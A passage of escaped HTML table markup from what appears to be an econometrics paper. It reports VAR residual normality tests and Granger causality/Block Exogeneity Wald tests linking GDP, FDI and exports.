style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">df</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Prob.</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.040179</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.003094</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.9556</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">4.179624</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2.667066</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.1024</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3.882689</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.493352</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.2217</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Joint</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">4.163512</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.2443</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Component</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Jarque-Bera</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Df</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Prob.</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.644810</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.7244</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">11.33135</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.0035</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2.481157</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.2892</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Joint</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">14.45732</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.0249</span></p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:19.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.1%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:20.08%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Source: Own computation</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Table <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->10<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: <strong>VAR Granger Causality/Block Exogeneity Wald Tests.</strong></span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:74.86%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Dependent variable: DLNGDP</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Excluded</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Chi-sq</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Df</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Prob.</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNFDI</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">4.934086</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.0263</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNEXPORT</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">9.058188</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.0026</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">All</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">13.13150</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.0014</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:74.86%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Dependent variable: DLNFDI</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Excluded</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Chi-sq</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Df</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Prob.</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNGDP</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.604167</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.4370</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">DLNEXPORT</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.269054</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.6040</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">All</span></p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1.170263</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:25.14%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.5570</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.56%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.16%\">\r\n			<p 